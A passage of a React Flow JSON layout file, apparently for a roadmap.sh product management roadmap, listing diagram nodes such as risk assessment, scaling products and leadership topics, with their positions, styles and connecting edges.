49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WBnLicFo9p2zm57pyXciI\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 579.1835171085152,\n        \"y\": 4815.41682098549\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Register\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"y8Ys_WfPXLVfJngOLryGR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 579.1835171085152,\n        \"y\": 4815.41682098549\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0uRTNYMwTU9JzvIWSvDSm\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 659.2535468243088,\n        \"y\": 4982.262343397685\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Assessment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WyKJxhfnbz6jx-Tvg40_j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 659.2535468243088,\n        \"y\": 4982.262343397685\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KXadmIkKJM0XLV4Qz0Stj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 658.8533196405465,\n        \"y\": 5066.388578146042\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Qualitative Risk Assessment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EEi56Ww04QbuF2I7B7xW8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 658.8533196405465,\n        \"y\": 5066.388578146042\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"g0sBLcG8kEfeHHtsJSb4i\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 658.8533196405465,\n        \"y\": 5120.388578146042\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Quantitative Risk Assessment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EEi56Ww04QbuF2I7B7xW8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 284,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 658.8533196405465,\n        \"y\": 5120.388578146042\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 284,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 284,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"A-srndVB0olGq0qkApnwi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 158.7376817960943,\n        \"y\": 4982.262343397685\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Mitigation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WyKJxhfnbz6jx-Tvg40_j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 158.7376817960943,\n        \"y\": 4982.262343397685\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4gV80Qrd08_Y8oZB_hahV\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 159.7376817960943,\n        \"y\": 4837.584005515403\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mitigation Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 159.7376817960943,\n        \"y\": 4837.584005515403\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ybq-zRDLvtTTl8X8GnRNf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 158.7376817960943,\n        \"y\": 4891.584005515403\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Contingency Planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dk1YzX84UUe_es1x-dfp2\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 158.7376817960943,\n        \"y\": 4891.584005515403\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zJGg20NPStLPkeL5LKoGm\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 159.7376817960943,\n        \"y\": 5093.674587429487\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Monitoring and Controlling Risks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WyKJxhfnbz6jx-Tvg40_j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 323,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 159.7376817960943,\n        \"y\": 5093.674587429487\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 323,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 323,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S2w72SRx-9QvRO7RNBlKZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.2376817960943,\n        \"y\": 5181.925823963954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Monitoring Tools\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4gV80Qrd08_Y8oZB_hahV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 208.2376817960943,\n        \"y\": 5181.925823963954\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ao2uUq_UZWtB-LRKH1x40\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 208.2376817960943,\n        \"y\": 5235.925823963954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Risk Audits\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"H7sf23kwv73XjnFCdKHPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 208.2376817960943,\n        \"y\": 5235.925823963954\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nrGUiI55jBUgegvRGGe7P\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 655.9408118709459,\n        \"y\": 5241.925823963954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Topics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5KH5gd8l8ZcXb3hrbXVGv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 198,\n      \"height\": 67,\n      \"positionAbsolute\": {\n        \"x\": 655.9408118709459,\n        \"y\": 5241.925823963954\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 198,\n        \"height\": 67\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 198,\n        \"height\": 67\n      }\n    },\n    {\n      \"id\": \"4i_kX9oZunMBFYevu7lyi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5250.925823963954\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Scaling Products\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WyKJxhfnbz6jx-Tvg40_j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5250.925823963954\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4-w4BpDh4dpmnU9qfjqbU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5048.736154485648\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Growth Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gyNOziqf1VsfI2j-FaNZ_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5048.736154485648\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lIdogd1DAzCo1ct7cdvYD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5102.736154485648\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Internationalization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EEi56Ww04QbuF2I7B7xW8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 51,\n      \"positionAbsolute\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5102.736154485648\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 51\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 51\n      }\n    },\n    {\n      \"id\": \"EEi56Ww04QbuF2I7B7xW8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5158.736154485648\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Platform Thinking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WBnLicFo9p2zm57pyXciI\"\n      },\n      \"zIndex\": 999,\n      \"width\": 189,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1022.4458398969023,\n        \"y\": 5158.736154485648\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 189,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 189,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"BGtxI9CHtJfhRMdUEIfWa\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 764.1347432337445,\n        \"y\": 5380.449722722674\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Portfolio Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WyKJxhfnbz6jx-Tvg40_j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 764.1347432337445,\n        \"y\": 5380.449722722674\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9y_I41kJhkmyBJjiTw8Xd\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 454.22181463284005,\n        \"y\": 5379.350856221659\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Analysis\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"WyKJxhfnbz6jx-Tvg40_j\"\n      },\n      \"zIndex\": 999,\n      \"width\": 191,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 454.22181463284005,\n        \"y\": 5379.350856221659\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 191,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 191,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h5N51_YgjaTHhPUHxkqQR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.18959246620761,\n        \"y\": 5325.350856221659\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Predictive Analytics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"H7sf23kwv73XjnFCdKHPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 119.18959246620761,\n        \"y\": 5325.350856221659\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rzrxYqFENQ3d0WpZv9-0Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.18959246620761,\n        \"y\": 5379.350856221659\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"ML in Product Mgmt.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"H7sf23kwv73XjnFCdKHPi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 119.18959246620761,\n        \"y\": 5379.350856221659\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"H7sf23kwv73XjnFCdKHPi\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 119.18959246620761,\n        \"y\": 5433.350856221659\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI in Product Mgmt.\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ybq-zRDLvtTTl8X8GnRNf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 119.18959246620761,\n        \"y\": 5433.350856221659\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 226,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WyKJxhfnbz6jx-Tvg40_j\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 619.22181463284,\n        \"y\": 5536.76201575575\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Leadership and Influence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oO-ujKApmpoQdkPEkOQG7\"\n      },\n      \"zIndex\": 999,\n      \"width\": 246,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 619.22181463284,\n        \"y\": 5536.76201575575\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 246,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 246,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MP-jZtofXCufnvtSldxqU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 949.9896265395387,\n        \"y\": 5482.76201575575\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Building and Leading Teams\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gyNOziqf1VsfI2j-FaNZ_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 949.9896265395387,\n        \"y\": 5482.76201575575\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CMge123Tm9DrZ31LvipLD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 949.9896265395387,\n        \"y\": 5536.76201575575\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Influencing without Authority\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gyNOziqf1VsfI2j-FaNZ_\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 949.9896265395387,\n        \"y\": 5536.76201575575\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gyNOziqf1VsfI2j-FaNZ_\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 949.9896265395387,\n        \"y\": 5590.76201575575\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Emotional Intelligence\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"EEi56Ww04QbuF2I7B7xW8\"\n      },\n      \"zIndex\": 999,\n      \"width\": 271,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 949.9896265395387,\n        \"y\": 5590.76201575575\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 271,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 271,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kYr7vgV-9US2x5HFYZGwq\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 638.72181463284,\n        \"y\": 5723.671763587403\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Keep Learning\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 207,\n      \"height\": 73,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 638.72181463284,\n        \"y\": 5723.671763587403\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"style\": {\n        \"width\": 207,\n        \"height\": 73\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 207,\n        \"height\": 73\n      }\n    },\n    {\n      \"id\": \"5080vx0T3tVIb-SYuyl13\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 731.72181463284,\n        \"y\": 5820.057665539548\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 81,\n      \"positionAbsolute\": {\n        \"x\": 731.72181463284,\n        \"y\": 5820.057665539548\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 81\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 81\n      }\n    },\n    {\n      \"id\": \"9vy4uIoykk2zSSyIok4_S\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 559.22181463284,\n        \"y\": 185.8113337289081\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Introduction\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 167,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 559.22181463284,\n        \"y\": 185.8113337289081\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 167,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PstbOGqR_4C2WWV8CWXes\",\n      \"type\": \"linksgroup\",\n      \"position\": {\n        \"x\": 121.47769562456426,\n        \"y\": -164.6886662710919\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Related Roadmaps\",\n        \"links\": [\n          {\n            \"id\": \"3uv48fdglShh8YYF3zRWv\",\n            \"label\": \"UX Design Roadmap\",\n            \"href\": \"\",\n            \"url\": \"https://roadmap.sh/ux-design\"\n          },\n          {\n            \"id\": \"td_Z-sAuf092awd8U-VNG\",\n            \"label\": \"Data Analyst\",\n            \"url\": \"https://roadmap.sh/data-analyst\"\n          },\n          {\n            \"id\": \"-lnv-MTn0XvfK8ZUygICA\",\n            \"label\": \"Design System\",\n            \"url\": \"https://roadmap.sh/design-system\"\n          }\n        ]\n      },\n      \"zIndex\": 999,\n      \"width\": 304,\n      \"height\": 163,\n      \"positionAbsolute\": {\n        \"x\": 121.47769562456426,\n        \"y\": -164.6886662710919\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"style\": {\n        \"width\": 304,\n        \"height\": 163\n      },\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 304,\n        \"height\": 163\n      }\n    }\n  ],\n  \"edges\": [\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KYkZX-u-Pfsjxa6fKUaSH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"luk1vnpy0duneVjen8WzO\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KYkZX-u-Pfsjxa6fKUaSHy2-luk1vnpy0duneVjen8WzOz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KYkZX-u-Pfsjxa6fKUaSH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"V-IeFB9S2tToxANHIzpMs\",\n      \"targetHandle\": \"z2\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KYkZX-u-Pfsjxa6fKUaSHy2-V-IeFB9S2tToxANHIzpMsz2\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KYkZX-u-Pfsjxa6fKUaSH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"Dx6ee8P_Agpw1MLKlAPGI\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KYkZX-u-Pfsjxa6fKUaSHy2-Dx6ee8P_Agpw1MLKlAPGIz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KYkZX-u-Pfsjxa6fKUaSH\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"5W-3jh1-4qSU5kagrWv9z\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KYkZX-u-Pfsjxa6fKUaSHy2-5W-3jh1-4qSU5kagrWv9zz1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"jIsN1OBs039cLtxTqyptd\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"KYkZX-u-Pfsjxa6fKUaSH\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-jIsN1OBs039cLtxTqyptdx2-KYkZX-u-Pfsjxa6fKUaSHw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"KYkZX-u-Pfsjxa6fKUaSH\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"l6NjkNch2LH4BDhxXUoDK\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-KYkZX-u-Pfsjxa6fKUaSHz2-l6NjkNch2LH4BDhxXUoDKy1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"sourceHandle\": \"z2\",\n      \"target\": \"1HytzY1KRYIQWoQa5FMwY\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"OkeynsM7SHWgyY9fW5hLh\",\n      \"selected\": true,\n      \"focusable\": true,\n     